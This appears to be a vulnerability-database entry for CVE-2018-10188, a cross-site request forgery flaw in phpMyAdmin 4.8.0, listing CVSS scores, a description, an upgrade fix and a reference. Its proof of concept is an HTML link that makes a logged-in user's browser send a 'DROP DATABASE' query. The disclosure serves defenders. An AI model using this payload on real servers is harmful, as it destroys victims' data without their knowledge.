phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery

2018-04-2300:00:00

revengsh

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CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

8.7

Confidence

High

EPSS

0.006

Percentile

79.1%

JSON

# Exploit Title: phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery
# Date: 2018-04-20
# Software Link: https://www.phpmyadmin.net/
# Author: @revengsh & @0x00FI
# CVE: CVE-2018-10188
# Category: Webapps


#1. Description
#The vulnerability exists due to failure in the "/sql.php" script to properly verify the source of HTTP request.
#This Cross-Site Request Forgery (CSRF) allows an attacker to execute arbitrary SQL statement by sending a malicious request to a logged in user.
#2. Proof of Concept: This example sends HTTP GET crafted request in order to drop the specified database.


<html>
  <body>
    <a href="http://[HOST]/phpmyadmin/sql.php?sql_query=DROP+DATABASE+[DBNAME]">
      Drop database
    </a>
  </body>
</html>

#3. Solution: Upgrade to phpMyAdmin 4.8.0-1 or newer.
#4. Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10188